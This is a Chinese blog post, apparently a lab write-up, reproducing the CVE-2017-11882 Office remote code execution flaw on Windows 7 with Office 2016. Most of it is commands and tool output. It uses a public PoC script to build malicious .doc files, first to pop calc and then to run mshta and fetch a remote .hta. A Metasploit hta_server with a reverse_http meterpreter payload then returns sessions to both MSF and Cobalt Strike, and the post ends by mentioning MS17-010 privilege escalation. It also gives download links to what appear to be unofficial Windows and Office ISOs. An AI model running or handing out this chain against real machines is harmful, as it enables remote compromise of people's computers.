CVE-2017-11882 Office RCE 复现

这个 Office RCE 漏洞非常经典,在当时是通杀所有 Office 版本的,实际上在 17 年左右就有很多复现文章了(尴尬),只是国光我复现的太晚了,晚了 3 年……

前言

潜伏 17 年之久的Office远程代码执行漏洞(CVE-2017-11882)影响版本从 Office 2000 到当时最新的 Office 2016,攻击者可以利用漏洞以当前登录的用户的身份执行任意命令。

环境

系统 Office
Windows 7 SP1 旗舰版 Office 2016

Windows7 SP1 旗舰版迅雷下载链接:

ed2k://|file|cn_windows_7_ultimate_with_sp1_x64_dvd_u_677408.iso|3420557312|B58548681854236C7939003B583A8078|/

Office 2016 迅雷下载链接:

ed2k://|file|cn_office_professional_plus_2016_x86_x64_dvd_6969182.iso|2588266496|27EEA4FE4BB13CD0ECCDFC24167F9E01|/

POC

项目地址https://github.com/Ridter/CVE-2017-11882

弹窗

直接使用 Command109b_CVE-2017-11882.py 脚本可以生成带命令的 doc Word 文件,然后受害者打开可以直接弹窗出来:

python Command109b_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc
[*] Done ! output file --> test.doc

但是这样弹窗没有意义,又因为这个漏洞执行的命令是以当前登录的用户的身份,所以如果对方不是高权限用户的话,是无法直接添加管理员的,因为无法 Bypass UAC,所以得想办法上线 MSF 或者 CS,然后后期再提权。

上线 MSF

MSF IP 受害者
10.20.24.244 Windows 7 SP 1

hta 生成

hta 是 HTML 应用程序,大多数的 Windows 操作系统都支持 hta 文件执行,利用 mshta.exe 解析 .hta文件执行,这里的 .hta 文件可以是本地的也可以是可访问的远程主机上的。

msf5 > use exploit/windows/misc/hta_server

# 设置反向 HTTP 回连
msf5 exploit(windows/misc/hta_server) > set payload windows/meterpreter/reverse_http
payload => windows/meterpreter/reverse_http

msf5 exploit(windows/misc/hta_server) > set lhost 10.20.24.244
lhost => 10.20.24.244

msf5 exploit(windows/misc/hta_server) > set lport 6666
lport => 6666

msf5 exploit(windows/misc/hta_server) > exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started HTTP reverse handler on http://10.20.24.244:6666

msf5 exploit(windows/misc/hta_server) > [*] Using URL: http://0.0.0.0:8080/n8Zw0EKX.hta
[*] Local IP: http://10.20.24.244:8080/n8Zw0EKX.hta
[*] Server started.

EXP 生成

直接使用 py 脚本将想要执行的命令写入到 doc 文件中:

python Command109b_CVE-2017-11882.py -c "mshta http://10.20.24.244:8080/n8Zw0EKX.hta" -o exp.doc
[*] Done ! output file --> exp.doc

受害者打开了 doc 文档 成功上线:

上线 CS

因为 MSF 和 CS 的会话是一个协议的,所以可以直接改上面的 payload 然后直接打到 CS 的监听器上,这样就直接上线了。

监听器

CS IP MSF IP 受害者
10.11.38.147 10.20.24.244 Windows 7 SP 1

只需要这一个普通的监听器即可

hta 生成

CS 也是自带 hta 生成的,大家应该都清楚的吧,国光这里不多说了。国光下面来讲解一下如何使用 MSF 的 payload 直接上线 CS ,直接贴命令:

msf5 > use exploit/windows/misc/hta_server

msf5 exploit(windows/misc/hta_server) > set payload windows/meterpreter/reverse_http
payload => windows/meterpreter/reverse_http

# 这里直接填写 CS 的 监听器信息
msf5 exploit(windows/misc/hta_server) > set lhost 10.11.38.147
lhost => 10.11.38.147

msf5 exploit(windows/misc/hta_server) > set lport 5555
lport => 5555

msf5 exploit(windows/misc/hta_server) > exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[-] Handler failed to bind to 10.11.38.147:5555
[*] Started HTTP reverse handler on http://0.0.0.0:5555
msf5 exploit(windows/misc/hta_server) > [*] Using URL: http://0.0.0.0:8080/rjw00gEIB5.hta
[*] Local IP: http://10.20.24.244:8080/rjw00gEIB5.hta
[*] Server started.

EXP 生成

直接使用 py 脚本将想要执行的命令写入到 doc 文件中:

python Command109b_CVE-2017-11882.py -c "mshta http://10.20.24.244:8080/rjw00gEIB5.hta" -o exp.doc
[*] Done ! output file --> exp.doc

受害者打开了 doc 文档 , CS 这边成功上线:

提权

当前的用户为 sec 用户,可以直接使用经典的 MS17-010 提权:

然后填写受害者的 IP 信息:

直接 GO 提权成功:

不知道为啥,一下上线了 3 个 SYSTEM 系统权限用户。

总结

本文尝试了贴图操作了,没有啰里啰嗦的废话,感觉效果还是可以的,23333 溜了溜了 对了如果本文对你有帮助的话,而且你又恰巧财力雄厚,可以考虑打赏一下本文,用以维持高昂的服务器运营费用(域名费用、服务器费用、CDN费用等)。

请随意打赏吧:

微信 支付宝

没想到文章加入打赏列表没几天 就有热心网友打赏了 于是国光我用 Bootstrap 重写了一个页面 用以感谢 支持我的朋友,详情请看 打赏列表 | 国光

对了点击下方的广告也可以表示心意哦,广告商说 0.3 元一个 IP 点击~,虽然有点少,但是数量多的话,也还算不错的啦


文章作者: 国光
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 国光 !
 上一篇
为 Cobalt Strike exe 木马添加图标 为 Cobalt Strike exe 木马添加图标
Cobalt Strike 生成的 exe 木马的结构和普通的 exe 不太相同,Windows 下使用一些资源编译工具来给 exe 添加图标发现都不很顺利,所以本文就此诞生了。 失败经验尝试给 CS 生成的 exe 添加自定义图标发现
2020-10-10
下一篇 
国光的安全随笔记录 国光的安全随笔记录
国光我从 15 年开始接触到信息安全到现在已经快 5 年了,但是总感觉自己的成长速度太慢了,也亲眼看着后辈们从小菜鸡快速地成长为比自己还要厉害的大佬,越发感叹信息安全行业里面真的是“逆水行舟,不进则退!”啊。特此写下此文记录一下心路历程,希
2020-10-08
  目录